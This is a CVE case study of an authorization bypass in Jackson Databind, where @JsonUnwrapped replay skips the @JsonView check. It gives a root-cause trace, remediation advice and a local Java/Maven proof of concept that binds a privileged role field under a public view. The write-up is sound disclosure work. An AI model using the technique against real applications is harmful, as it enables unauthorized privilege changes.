CVE case study

CVE-2026-59889: @JsonUnwrapped Replay Skipped an @JsonView Check

Jackson enforced @JsonView for creator properties but skipped the check when @JsonUnwrapped replayed field- and setter-backed properties.

Weakness
CWE-863
Affected
2.18.0 through 2.18.8, 2.21.0 through 2.21.4, 2.22.0; 3.0.0 through 3.1.4 and 3.2.0
Remediation state
Upgrade to 2.18.9, 2.21.5, 2.22.1, 3.1.5, or 3.2.1 as applicable
Advisory published
10 Jul 2026

Official vectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Why it matters

Applications sometimes use @JsonView to define which properties a request is allowed to populate. @JsonUnwrapped flattens a nested object into its parent JSON shape. When those features were combined on a setter- or field-backed container property, one deserialization path failed to enforce the active view.

The bug affects deserialization only: a restricted view could populate a container assigned to a more privileged view.

How I found it

I compared the earlier fix in processUnwrappedCreatorProperties() with the sibling processUnwrapped() path. The second method still replayed buffered input through deserializeAndSet() without the active-view check.

A field and setter-backed bean forced execution through that sibling path. An @JsonView(AdminView) container combined with @JsonUnwrapped was populated while reading under PublicView; the same container without @JsonUnwrapped stayed null.

The missing check applied to the unwrapped container property, not every nested field. Nested, merge/PATCH, and builder tests reached the same handler. A separate read-side test found no serialization leak, limiting the finding to a write-side authorization bypass.

Root cause

The missing check was in the flattened-input replay loop. It called deserializeAndSet() without first checking prop.visibleInView(activeView).

The creator-property path had the check, but the regular field and setter path did not. Nested, partial-update, and builder paths reached the same unchecked method.

Source-to-sink trace

  1. 01
    Patch clueprocessUnwrappedCreatorProperties()

    The creator path checks prop.visibleInView(activeView) before binding.

  2. 02
    Sibling gapUnwrappedPropertyHandler::processUnwrapped()

    The field/setter path loops over unwrapped properties and calls deserializeAndSet() without that check.

  3. 03
    Buffering pathBeanDeserializer::deserializeWithUnwrapped()

    Flattened fields are buffered because they do not directly match the container property, bypassing the normal direct-property view gate.

  4. 04
    Write sinkSettableBeanProperty::deserializeAndSet()

    The restricted container is instantiated and populated under the lower-privilege active view.

Safe proof of concept

Prerequisites

  • JDK 17 or later and a disposable Maven project.
  • A vulnerable Jackson Databind release such as 2.18.8, 2.21.4, 2.22.0, 3.1.4, or 3.2.0.

Step-by-step reproduction

  1. Create a Maven project with the vulnerable jackson-databind version and save the Java class below.
  2. The flags container is restricted to AdminView but flattened with @JsonUnwrapped. The server-side reader intentionally uses PublicView.
  3. Run the program. On a vulnerable release, the synthetic role value is bound and the container is non-null.
  4. Run the included OrdinaryAccount control with nested JSON targeting the same restricted container. It remains null; this proves the normal property path enforces the active view.
  5. Upgrade to the applicable fixed release and repeat the original unwrapped case. It should now match the control.

Minimal Maven project

<project xmlns="http://maven.apache.org/POM/4.0.0">
  <modelVersion>4.0.0</modelVersion>
  <groupId>local.cyberkareem</groupId>
  <artifactId>jsonview-unwrapped-poc</artifactId>
  <version>1.0.0</version>
  <properties>
    <maven.compiler.source>17</maven.compiler.source>
    <maven.compiler.target>17</maven.compiler.target>
  </properties>
  <dependencies>
    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-databind</artifactId>
      <version>2.22.0</version>
    </dependency>
  </dependencies>
</project>

Minimal in-memory Java PoC

import com.fasterxml.jackson.annotation.JsonUnwrapped;
import com.fasterxml.jackson.annotation.JsonView;
import com.fasterxml.jackson.databind.ObjectMapper;

public class JsonViewUnwrappedPoc {
  static class PublicView {}
  static class AdminView extends PublicView {}

  static class Flags {
    @JsonView(PublicView.class)
    public String role;

    @JsonView(PublicView.class)
    public boolean approved;
  }

  static class Account {
    @JsonView(PublicView.class)
    public String email;

    @JsonView(AdminView.class)
    @JsonUnwrapped
    public Flags flags;
  }

  static class OrdinaryAccount {
    @JsonView(PublicView.class)
    public String email;

    @JsonView(AdminView.class)
    public Flags flags;
  }

  public static void main(String[] args) throws Exception {
    String json = "{\"email\":\"lab@example.test\",\"role\":\"ADMIN\",\"approved\":true}";
    Account result = new ObjectMapper()
        .readerWithView(PublicView.class)
        .forType(Account.class)
        .readValue(json);

    String nested = "{\"email\":\"lab@example.test\",\"flags\":{\"role\":\"ADMIN\",\"approved\":true}}";
    OrdinaryAccount control = new ObjectMapper()
        .readerWithView(PublicView.class)
        .forType(OrdinaryAccount.class)
        .readValue(nested);

    System.out.println("flags_present=" + (result.flags != null));
    System.out.println("role=" + (result.flags == null ? "<blocked>" : result.flags.role));
    System.out.println("control_flags_present=" + (control.flags != null));
  }
}

Run and compare

mkdir -p src/main/java
# Save the Java class as src/main/java/JsonViewUnwrappedPoc.java
mvn -q compile dependency:copy-dependencies
java -cp 'target/classes:target/dependency/*' JsonViewUnwrappedPoc

# Vulnerable line:
# flags_present=true
# role=ADMIN
# control_flags_present=false

# Then change the pom version to 2.22.1 and repeat.
# Fixed release or non-unwrapped control:
# flags_present=false
# role=<blocked>
# control_flags_present=false

Expected evidence

  • On the affected release, flags_present=true and role=ADMIN under PublicView.
  • The OrdinaryAccount control receives correctly nested input for the same flags property and remains null under PublicView.
  • Serialization with writerWithView(PublicView.class) does not disclose the restricted block; this is a write-side bug only.
Negative control

The same AdminView-only flags field stays null without @JsonUnwrapped, isolating the replay path.

Fixed-version re-test

Upgrade to 2.18.9, 2.21.5, 2.22.1, 3.1.5, or 3.2.1 as applicable. The original unwrapped program must now print the same blocked result as the non-unwrapped control.

Impact

Applications using @JsonView as write authorization could accept unauthorized state changes or privilege fields.

Affected use requires an active view, untrusted deserialization, a privileged unwrapped container, and reliance on view filtering for writes.

Fix and retest

Upgrade the relevant Jackson line. The fix checks property visibility before setting an unwrapped value, matching the guarded creator-property path. Until an upgrade is possible, avoid @JsonUnwrapped on authorization-sensitive input containers and map external requests into explicit DTOs with server-side allow-lists.

Regression tests should cover normal deserialization, nested unwrapped objects, builders, and update-in-place readers under both allowed and disallowed views.

Engineering lesson

After patching one deserialization path, test creator, field, setter, builder, merge, and nested variants.

References

Further reading

Evidence connected to this article.

Back to article start